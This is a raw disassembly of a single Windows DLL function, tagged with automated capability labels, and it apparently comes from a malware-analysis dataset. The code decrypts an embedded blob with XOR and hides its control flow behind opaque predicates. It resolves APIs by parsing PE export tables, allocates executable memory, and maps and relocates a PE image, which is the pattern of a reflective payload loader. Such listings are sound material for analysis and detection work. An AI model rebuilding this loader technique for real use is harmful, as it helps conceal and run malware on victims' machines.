Function at 0x180001000
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x78
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
cmp eax, 0xa
jl 0x180001032
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
je 0x180001032
nop dword [rax]
jmp 0x180001030
lea rsi, section..data
mov ebp, 4
lea r8, [rsp + 0x64]
nop word cs:[rax + rax]
nop dword [rax]
mov rbx, r8
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete r8b
cmp eax, 0xa
setl dl
or dl, r8b
nop dword [rax]
test dl, dl
je 0x180001070
sub rbp, 1
jb 0x180001140
mov dl, byte [rsi]
add rsi, 1
lea r8, [rbx + 1]
mov byte [rbx], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
cmp eax, 0xa
jl 0x180001050
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
je 0x180001050
nop word cs:[rax + rax]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x1800010d9
test edi, edi
je 0x1800010d9
mov byte [rbx], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
test edi, edi
je 0x180001120
cmp eax, 9
jg 0x18000113c
jmp 0x180001120
mov byte [rbx], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x180001050
test edi, edi
jne 0x1800010b0
jmp 0x180001050
mov byte [rbx], dl
cmp dword [0x180020a68], 0xa
jl 0x1800010f0
mov eax, dword [0x180020a64]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800010f0
mov byte [rbx], dl
jmp 0x180001120
cmp dword [0x180020a6c], 0xa
mov r14d, dword [rsp + 0x64]
jl 0x180001162
mov edx, dword [0x180020a70]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
je 0x180001162
nop
jmp 0x180001160
test r14d, r14d
je 0x1800012e6
xor esi, esi
cmp r14d, 0x10
jb 0x18000125d
lea rbp, [r14 - 1]
cmp rbp, 0x400
jae 0x18000125d
mov esi, r14d
and esi, 0xfffffff0
lea rbp, [rsi - 0x10]
mov rdi, rbp
shr rdi, 4
add rdi, 1
mov r8d, edi
and r8d, 1
test rbp, rbp
je 0x1800016a2
mov rbx, r8
sub rbx, rdi
xor edi, edi
lea rdx, section..data
movaps xmm0, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
nop word cs:[rax + rax]
nop dword [rax]
mov ebp, edi
and ebp, 0x3e0
movups xmm1, xmmword [rbp + rdx + 4]
movups xmm2, xmmword [rdi + rdx + 0x404]
xorps xmm2, xmm1
movups xmm1, xmmword [rdi + rdx + 0x414]
xorps xmm2, xmm0
movups xmmword [rdi + rdx + 0x404], xmm2
lea ebp, [rdi + 0x10]
and ebp, 0x3f0
movups xmm2, xmmword [rbp + rdx + 4]
xorps xmm1, xmm0
xorps xmm1, xmm2
movups xmmword [rdi + rdx + 0x414], xmm1
add rdi, 0x20
add rbx, 2
jne 0x1800011d0
test r8, r8
je 0x180001254
mov ebp, edi
and ebp, 0x3f0
lea rbx, section..data
movups xmm0, xmmword [rbp + rbx + 4]
movups xmm1, xmmword [rdi + rbx + 0x404]
xorps xmm1, xmm0
xorps xmm1, xmmword [str._f_f_f_f_f_f_f_f_f_f_f_f_f_f_f_f]
movups xmmword [rdi + rbx + 0x404], xmm1
cmp rsi, r14
je 0x1800012e6
mov rbp, rsi
not rbp
test r14b, 1
je 0x180001291
mov ebx, esi
and ebx, 0x3f0
lea rdi, section..data
mov bl, byte [rbx + rdi + 4]
xor bl, byte [rsi + rdi + 0x404]
xor bl, 0xc
mov byte [rsi + rdi + 0x404], bl
or rsi, 1
add rbp, r14
je 0x1800012e6
lea rbp, section..data
nop dword [rax]
mov edx, esi
and edx, 0x3ff
movzx edx, byte [rdx + rbp + 4]
xor dl, byte [rsi + rbp + 0x404]
xor dl, 0xc
mov byte [rsi + rbp + 0x404], dl
lea edx, [rsi + 1]
and edx, 0x3ff
movzx edx, byte [rdx + rbp + 4]
xor dl, byte [rsi + rbp + 0x405]
xor dl, 0xc
mov byte [rsi + rbp + 0x405], dl
add rsi, 2
cmp r14, rsi
jne 0x1800012a0
lea r13, section..data
lea r15, [r14 + r13]
add r15, 0x404
lea r8, [rsp + 0x60]
mov r9d, 4
mov rdx, r8
mov r11, r15
mov rdi, rdx
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
sete r10b
cmp eax, 0xa
setl bl
or bl, r10b
nop word cs:[rax + rax]
nop dword [rax]
test bl, bl
je 0x180001330
sub r9, 1
jae 0x1800015c0
cmp dword [0x180020a6c], 0xa
jl 0x1800016b2
mov ebp, dword [0x180020a70]
lea ebx, [rbp - 1]
imul ebx, ebp
and ebx, 1
je 0x1800016b2
test esi, esi
je 0x18000136d
cmp eax, 9
jg 0x180001690
mov ebp, 4
mov r9, r8
mov r10, r15
nop dword [rax + rax]
mov rdi, r9
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete bl
cmp eax, 0xa
setl dl
or dl, bl
nop word [rax + rax]
test dl, dl
je 0x1800013a0
sub rbp, 1
jb 0x180001470
mov dl, byte [r10]
add r10, 1
lea r9, [rdi + 1]
mov byte [rdi], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
cmp eax, 0xa
jl 0x180001380
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x180001380
nop word [rax + rax]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
cmp eax, 0xa
jl 0x180001409
test esi, esi
je 0x180001409
mov byte [rdi], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
test esi, esi
je 0x180001450
cmp eax, 9
jg 0x18000146c
jmp 0x180001450
mov byte [rdi], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
cmp eax, 0xa
jl 0x180001380
test esi, esi
jne 0x1800013e0
jmp 0x180001380
mov byte [rdi], dl
cmp dword [0x180020a68], 0xa
jl 0x180001420
mov eax, dword [0x180020a64]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001420
mov byte [rdi], dl
jmp 0x180001450
mov ebp, 4
mov r9, r8
mov r10, r15
nop dword [rax + rax]
mov rdi, r9
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
sete dl
cmp eax, 0xa
setl bl
or bl, dl
nop word [rax + rax]
test bl, bl
je 0x1800014a0
sub rbp, 1
jb 0x180001570
mov dl, byte [r10]
add r10, 1
lea r9, [rdi + 1]
mov byte [rdi], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
cmp eax, 0xa
jl 0x180001480
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
je 0x180001480
nop word [rax + rax]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
cmp eax, 0xa
jl 0x180001509
test esi, esi
je 0x180001509
mov byte [rdi], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
test esi, esi
je 0x180001550
cmp eax, 9
jg 0x18000156c
jmp 0x180001550
mov byte [rdi], dl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea esi, [rcx - 1]
imul esi, ecx
and esi, 1
cmp eax, 0xa
jl 0x180001480
test esi, esi
jne 0x1800014e0
jmp 0x180001480
mov byte [rdi], dl
cmp dword [0x180020a68], 0xa
jl 0x180001520
mov eax, dword [0x180020a64]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001520
mov byte [rdi], dl
jmp 0x180001550
cmp dword [0x180020a6c], 0xa
jl 0x18000158e
mov edx, dword [0x180020a70]
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
jne 0x180001360
mov r9d, 4
mov rdx, r8
mov r11, r15
cmp eax, 0xa
jl 0x180001309
lea ebp, [rcx - 1]
imul ebp, ecx
mov rdx, r8
mov r11, r15
and ebp, 1
je 0x180001309
jmp 0x1800016a0
mov bl, byte [r11]
add r11, 1
lea rdx, [rdi + 1]
mov byte [rdi], bl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
cmp eax, 0xa
jl 0x180001309
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
je 0x180001309
nop word cs:[rax + rax]
nop dword [rax + rax]
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
cmp eax, 0xa
jl 0x180001629
test ebp, ebp
je 0x180001629
mov byte [rdi], bl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
test ebp, ebp
je 0x180001670
cmp eax, 9
jg 0x18000168c
jmp 0x180001670
mov byte [rdi], bl
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea ebp, [rcx - 1]
imul ebp, ecx
and ebp, 1
cmp eax, 0xa
jl 0x180001309
test ebp, ebp
jne 0x180001600
jmp 0x180001309
mov byte [rdi], bl
cmp dword [0x180020a68], 0xa
jl 0x180001640
mov eax, dword [0x180020a64]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001640
mov byte [rdi], bl
jmp 0x180001670
jmp 0x180001690
jmp 0x1800016a0
xor edi, edi
test r8, r8
jne 0x180001226
jmp 0x180001254
add r15, 4
mov esi, dword [rsp + 0x60]
test rsi, rsi
je 0x180001848
xor eax, eax
cmp esi, 0x20
jb 0x1800017ea
lea rdx, [rsi - 1]
cmp rdx, 0x400
jae 0x1800017ea
lea rax, [r14 + r13]
add rax, 0x408
lea rcx, [rsi + r13]
add rcx, 4
cmp rax, rcx
jae 0x180001716
lea rax, [rsi + r14]
add rax, r13
add rax, 0x408
lea rcx, str.solcSCWDOeDRQunoAIUvlDcGqABPPHqsGexuDxDUkSlVVrFSRWZlehaaZHkvqEJMoYoRkOZLeBQjKqpyLLyLouRhLzmBwzvodQCncmJegLfdccoXweaZmjzRvywYPDDMkHPWgveyUmTpTJqfFEusdqOotkgRnsEzPKamGOTVxxcsvKantzxXExOPwtlYSQosyQsAajCVUwcwfBPnQlEEqIwhqVLysPIjMvbjtUzChsveaXUYwQsXAUdimQLPlBLTjgRcDdutFFQdZGupLXnVcYmiTluBhHioklFFEKPymFutBhLFGxaGeiUzoxwFYiCRkfRJkPyXqAXtSYGrCQOdxCnYdWjMnyQWcnYTQEHuidReuXHvPDWUJiYzmMbTpuHcevIwesRxzixtPRkOHbRDcvUyMfvIDFjEdtfzRGpMbRSqSMztucWrXepMCTwiOJKeKDzwGxLYUoEoFKDjkIpjCULoyBIEnGaxkFKRlKgOkpStqIQKnddSJTgaumTxhOEljMihcGoszTUcVVWwGAuUwyIRCpOdKssuksQxnURuQEZvbFYWVZEDcgWnlenvwCybpxLmldMifjDWbunjCDayyBpMdjnrbUYGZjeiZdSTMdfOvkbMEaDuTqZqLpQVUMKPktekRmLnHlitZXOmvhQWFBaxQnaYhzuDQXBbKRrFGrszkSrjuzpvPfnjrezgCRaekZqJQWyJwlWgjDVmSMkzGRVcrscLIquuGkUUzcnqRphzqIZYdHoBguaFMTyYjxljVZoHRdEQyjTGHcvcoHTjyVUxyAKJAGZCkqgofQOayDCqZCReiQrtbtliuSKepfaiIsEPQvsKxSMGntLnrUKouGAQpcdfqbXJWtYbFYpqXbatHGWOvJbqrXgCxwVVhYPpdqecWwRkwmdfCRDoxMVMTZkBfAXAySRmemTJRicnTOHkARgAvjeAiPLsUrzfnajIxRTfeTruhDeOsuUkPmSsGpCLxkVKghTtFxFfMKwbFkqkcmAdwuEQtRQrUzIDVUF
cmp rax, rcx
jbe 0x180001716
xor eax, eax
jmp 0x1800017ea
mov eax, esi
and eax, 0xffffffe0
lea rcx, [rax - 0x20]
mov rdx, rcx
shr rdx, 5
add rdx, 1
mov edi, edx
and edi, 1
test rcx, rcx
je 0x1800017ae
lea rbx, [r14 + r13]
add rbx, 0x438
mov rbp, rdi
sub rbp, rdx
xor edx, edx
mov ecx, edx
and ecx, 0x3c0
movups xmm0, xmmword [rcx + r13 + 4]
movups xmm1, xmmword [rcx + r13 + 0x14]
movups xmm2, xmmword [rbx + rdx - 0x30]
xorps xmm2, xmm0
movups xmm0, xmmword [rbx + rdx - 0x20]
xorps xmm0, xmm1
movups xmm1, xmmword [rbx + rdx - 0x10]
movups xmm3, xmmword [rbx + rdx]
movups xmmword [rbx + rdx - 0x30], xmm2
movups xmmword [rbx + rdx - 0x20], xmm0
lea ecx, [rdx + 0x20]
and ecx, 0x3e0
movups xmm0, xmmword [rcx + r13 + 4]
xorps xmm0, xmm1
movups xmm1, xmmword [rcx + r13 + 0x14]
xorps xmm1, xmm3
movups xmmword [rbx + rdx - 0x10], xmm0
movups xmmword [rbx + rdx], xmm1
add rdx, 0x40
add rbp, 2
jne 0x180001747
jmp 0x1800017b0
xor edx, edx
test rdi, rdi
je 0x1800017e5
mov ecx, edx
and ecx, 0x3e0
movups xmm0, xmmword [rcx + r13 + 4]
movups xmm1, xmmword [rcx + r13 + 0x14]
movups xmm2, xmmword [r15 + rdx]
xorps xmm2, xmm0
movups xmm0, xmmword [r15 + rdx + 0x10]
xorps xmm0, xmm1
movups xmmword [r15 + rdx], xmm2
movups xmmword [r15 + rdx + 0x10], xmm0
cmp rax, rsi
je 0x180001848
mov rdx, rax
not rdx
test sil, 1
je 0x18000180b
mov ecx, eax
and ecx, 0x3e0
mov cl, byte [rcx + r13 + 4]
xor byte [r15 + rax], cl
or rax, 1
add rdx, rsi
je 0x180001848
lea rdx, [r14 + r13]
add rdx, 0x409
mov ecx, eax
and ecx, 0x3ff
movzx ecx, byte [rcx + r13 + 4]
xor byte [rdx + rax - 1], cl
lea ecx, [rax + 1]
and ecx, 0x3ff
movzx ecx, byte [rcx + r13 + 4]
xor byte [rdx + rax], cl
add rax, 2
cmp rsi, rax
jne 0x18000181b
cmp dword [0x180020a74], 0xa
jl 0x180001872
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180001872
nop word cs:[rax + rax]
nop dword [rax]
jmp 0x180001870
add r14, 0x408
mov qword [rsp + 0x48], r15
movsxd rsi, dword [0x180004440]
mov rbx, r15
nop dword [rax + rax]
cmp byte [rbx], 0
lea rbx, [rbx + 1]
jne 0x180001890
mov rax, rbx
nop dword [rax]
cmp byte [rax], 0
lea rax, [rax + 1]
jne 0x1800018a0
mov rbp, rax
nop dword [rax]
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x1800018b0
mov r15, rbp
nop dword [rax]
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x1800018c0
mov r12, r15
nop dword [rax]
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x1800018d0
mov qword [rsp + 0x40], rax
mov rdi, r12
nop word cs:[rax + rax]
nop
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x1800018f0
mov rcx, rbx
call fcn.180002870
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001922
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ec0
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001951
mov ecx, dword [0x180020a88]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001ed0
mov qword [rsp + 0x70], rbp
mov qword [rsp + 0x38], rbx
lea rcx, [rsi + r13]
add rcx, 0x404
mov qword [rsp + 0x58], rcx
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov ebp, dword [r9 + rax + 0x24]
add rsi, r9
add rbp, r9
mov r10, qword [rsp + 0x40]
nop word cs:[rax + rax]
nop dword [rax]
mov eax, dword [rsi]
add rax, r9
mov rdx, r10
nop dword [rax + rax]
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x1800019b6
add rdx, 1
add rax, 1
cmp cl, bl
je 0x1800019a0
cmp cl, bl
je 0x1800019c4
add rsi, 4
add rbp, 2
jmp 0x180001990
movzx eax, word [rbp]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, r12
call r9
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x1800019f6
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001ee0
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001a25
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001ef0
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov ecx, dword [r10 + rcx + 0x24]
add rdx, r10
add rcx, r10
nop dword [rax + rax]
mov esi, dword [rdx]
add rsi, r10
mov rbp, r15
nop dword [rax + rax]
movzx eax, byte [rbp]
movzx ebx, byte [rsi]
test al, al
je 0x180001a67
add rbp, 1
add rsi, 1
cmp al, bl
je 0x180001a50
cmp al, bl
je 0x180001a75
add rdx, 4
add rcx, 2
jmp 0x180001a40
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call r10
mov rcx, qword [rsp + 0x38]
call fcn.180002870
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001acd
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f00
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001afb
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f10
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
mov r15, qword [rsp + 0x58]
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ebp, dword [rdx]
add rbp, rsi
xor edi, edi
nop word [rax + rax]
lea rax, [r14 + rdi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x180001b4b
add rdi, 1
cmp al, bl
je 0x180001b30
cmp al, bl
je 0x180001b59
add rdx, 4
add rcx, 2
jmp 0x180001b20
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov edx, dword [r15 + 0x50]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rsi
mov r12, rax
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180001f82
lea eax, [rdx - 1]
imul eax, edx
and eax, 1
je 0x180001f82
movsxd rsi, dword [0x180004440]
cmp dword [0x180020a74], 0xa
mov rdx, qword [rsp + 0x48]
mov r13, rdx
jl 0x180001bd0
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
mov r13, rdx
and ecx, 1
jne 0x180001f20
nop
cmp byte [r13], 0
lea r13, [r13 + 1]
jne 0x180001bd0
mov r12, r13
nop
cmp byte [r12], 0
lea r12, [r12 + 1]
jne 0x180001be0
mov r15, r12
nop
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001bf0
nop word [rax + rax]
cmp byte [r15], 0
lea r15, [r15 + 1]
jne 0x180001c00
mov rdi, r15
nop dword [rax]
cmp byte [rdi], 0
lea rdi, [rdi + 1]
jne 0x180001c10
mov rbp, rdi
nop dword [rax]
cmp byte [rbp], 0
lea rbp, [rbp + 1]
jne 0x180001c20
mov rcx, r13
call fcn.180002870
mov r9, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001c53
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f30
movsxd rax, dword [r9 + 0x3c]
mov eax, dword [r9 + rax + 0x88]
mov r8d, dword [r9 + rax + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001c82
mov ecx, dword [0x180020a88]
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180001f40
mov qword [rsp + 0x40], rsi
add r8, r9
mov esi, dword [r9 + rax + 0x20]
mov r10d, dword [r9 + rax + 0x24]
add rsi, r9
add r10, r9
nop word [rax + rax]
mov eax, dword [rsi]
add rax, r9
mov rdx, r12
nop dword [rax + rax]
movzx ecx, byte [rdx]
movzx ebx, byte [rax]
test cl, cl
je 0x180001cc6
add rdx, 1
add rax, 1
cmp cl, bl
je 0x180001cb0
cmp cl, bl
je 0x180001cd4
add rsi, 4
add r10, 2
jmp 0x180001ca0
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
mov rcx, rdi
call r9
mov r10, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001d06
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f50
movsxd rax, dword [r10 + 0x3c]
mov ecx, dword [r10 + rax + 0x88]
mov r8d, dword [r10 + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001d35
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f60
add r8, r10
mov edx, dword [r10 + rcx + 0x20]
mov edi, dword [r10 + rcx + 0x24]
add rdx, r10
add rdi, r10
nop dword [rax + rax]
mov esi, dword [rdx]
add rsi, r10
mov rbx, r15
nop dword [rax + rax]
movzx eax, byte [rbx]
movzx ecx, byte [rsi]
test al, al
je 0x180001d76
add rbx, 1
add rsi, 1
cmp al, cl
je 0x180001d60
cmp al, cl
je 0x180001d84
add rdx, 4
add rdi, 2
jmp 0x180001d50
movzx eax, word [rdi]
mov eax, dword [r8 + rax*4]
add r10, rax
mov qword [rsp + 0x28], 0x1388
mov qword [rsp + 0x20], 0
mov r9d, 0x10
xor ecx, ecx
mov rdx, rbp
mov r8, rbp
call r10
mov rcx, r13
call fcn.180002870
mov rsi, rax
cmp dword [0x180020a7c], 0xa
jl 0x180001dda
mov eax, dword [0x180020a80]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x180001f70
movsxd rax, dword [rsi + 0x3c]
mov ecx, dword [rsi + rax + 0x88]
mov r8d, dword [rsi + rcx + 0x1c]
cmp dword [0x180020a84], 0xa
jl 0x180001e08
mov eax, dword [0x180020a88]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
jne 0x180001f80
add r8, rsi
mov edx, dword [rsi + rcx + 0x20]
mov ecx, dword [rsi + rcx + 0x24]
add rdx, rsi
add rcx, rsi
lea r13, section..data
mov r15, qword [rsp + 0x48]
nop word cs:[rax + rax]
nop
mov ebp, dword [rdx]
add rbp, rsi
xor edi, edi
nop word [rax + rax]
lea rax, [r14 + rdi]
movzx eax, byte [r13 + rax]
movzx ebx, byte [rbp + rdi]
test al, al
je 0x180001e5b
add rdi, 1
cmp al, bl
je 0x180001e40
cmp al, bl
je 0x180001e69
add rdx, 4
add rcx, 2
jmp 0x180001e30
movzx eax, word [rcx]
mov eax, dword [r8 + rax*4]
add rsi, rax
mov rax, qword [rsp + 0x40]
mov edx, dword [rax + r13 + 0x454]
mov r8d, 0x3000
mov r9d, 0x40
xor ecx, ecx
call rsi
cmp dword [0x180020a74], 0xa
jl 0x18000187e
mov eax, dword [0x180020a78]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x18000187e
jmp 0x180001870
jmp 0x180001ec0
jmp 0x180001ed0
jmp 0x180001ee0
jmp 0x180001ef0
jmp 0x180001f00
jmp 0x180001f10
jmp 0x180001f20
jmp 0x180001f30
jmp 0x180001f40
jmp 0x180001f50
jmp 0x180001f60
jmp 0x180001f70
jmp 0x180001f80
cmp word [r15 + 6], 0
je 0x180002232
lea r8, [r15 + 0x108]
xor r9d, r9d
jmp 0x180001fac
add r9, 1
movzx eax, word [r15 + 6]
cmp r9, rax
jae 0x180002232
lea rax, [r9 + r9*4]
lea r10, [r8 + rax*8]
add r10, 0xc
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
cmp eax, 0xa
jl 0x180001fd8
lea edx, [rcx - 1]
imul edx, ecx
and edx, 1
jne 0x180002230
mov r11d, dword [r10]
mov edx, dword [r10 + 8]
mov esi, dword [r10 + 4]
add r11, r12
add rdx, r13
add rdx, 0x404
mov rbx, rdx
mov rbp, r11
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete r11b
cmp eax, 0xa
setl dl
or dl, r11b
nop dword [rax]
test dl, dl
je 0x180002010
sub rsi, 1
jb 0x1800020e8
lea rdx, [rbx + 1]
mov al, byte [rbx]
lea r11, [rbp + 1]
mov byte [rbp], al
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
cmp eax, 0xa
jl 0x180001ff0
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
je 0x180001ff0
nop word [rax + rax]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x18000207d
test edi, edi
je 0x18000207d
movzx eax, byte [rbx]
mov byte [rbp], al
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
test edi, edi
je 0x1800020c0
cmp eax, 9
jg 0x1800020e0
jmp 0x1800020c0
movzx eax, byte [rbx]
mov byte [rbp], al
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x180001ff0
test edi, edi
jne 0x180002050
jmp 0x180001ff0
movzx eax, byte [rbx]
mov byte [rbp], al
cmp dword [0x180020a68], 0xa
jl 0x180002090
mov eax, dword [0x180020a64]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002090
movzx eax, byte [rbx]
mov byte [rbp], al
jmp 0x1800020c0
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x180001f9a
lea ebp, [rdx - 1]
imul ebp, edx
and ebp, 1
je 0x180001f9a
mov edx, dword [r10 + 8]
lea r11, [rdx + r13]
add r11, 0x404
mov esi, dword [r10 + 4]
mov edx, dword [r10]
add rdx, r12
nop word cs:[rax + rax]
nop
mov rbp, r11
mov rbx, rdx
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete r11b
cmp eax, 0xa
setl dl
or dl, r11b
nop dword [rax]
test dl, dl
je 0x180002150
sub rsi, 1
jb 0x180001fd8
lea r11, [rbp + 1]
mov al, byte [rbp]
lea rdx, [rbx + 1]
mov byte [rbx], al
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
cmp eax, 0xa
jl 0x180002130
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
je 0x180002130
nop word [rax + rax]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x1800021bd
test edi, edi
je 0x1800021bd
movzx eax, byte [rbp]
mov byte [rbx], al
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
test edi, edi
je 0x180002200
cmp eax, 9
jg 0x180002220
jmp 0x180002200
movzx eax, byte [rbp]
mov byte [rbx], al
mov ecx, dword [0x180020a64]
mov eax, dword [0x180020a68]
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp eax, 0xa
jl 0x180002130
test edi, edi
jne 0x180002190
jmp 0x180002130
movzx eax, byte [rbp]
mov byte [rbx], al
cmp dword [0x180020a68], 0xa
jl 0x1800021d0
mov eax, dword [0x180020a64]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1800021d0
movzx eax, byte [rbp]
mov byte [rbx], al
jmp 0x180002200
jmp 0x180002230
mov rax, r12
sub rax, qword [r15 + 0x30]
cmp ebx, 0xa
jl 0x180002252
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
je 0x180002252
nop dword [rax]
jmp 0x180002250
mov esi, dword [r15 + 0xb0]
cmp dword [r12 + rsi], 0
je 0x180002406
add rsi, r12
movabs r8, 0x1fffffff8
mov r10, rsi
jmp 0x18000228c
mov ecx, dword [r10 + 4]
lea rsi, [r10 + rcx]
cmp dword [r10 + rcx], 0
mov r10, rsi
je 0x180002406
mov ebp, dword [r10 + 4]
cmp rbp, 8
jb 0x1800023d7
cmp ebx, 0xa
jl 0x1800022ae
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
jne 0x180002404
add rbp, r8
shr rbp, 1
mov r9d, ebp
test r9, r9
je 0x1800023d7
xor r11d, r11d
jmp 0x1800022d2
add r11, 1
cmp r11, r9
je 0x1800023d7
movzx edi, word [r10 + r11*2 + 8]
mov ecx, edi
shr ecx, 0xc
mov ebp, edi
and ebp, 0xfff
cmp edi, 0xa000
jae 0x180002383
cmp ecx, 3
jne 0x1800023bd
mov ecx, dword [rsi]
lea rcx, [r12 + rcx*4]
add dword [rcx + rbp*4], eax
mov edx, dword [0x180020a70]
mov ebx, dword [0x180020a6c]
cmp ebx, 0xa
jl 0x1800023bd
lea ecx, [rdx - 1]
imul ecx, edx
and ecx, 1
je 0x1800023bd
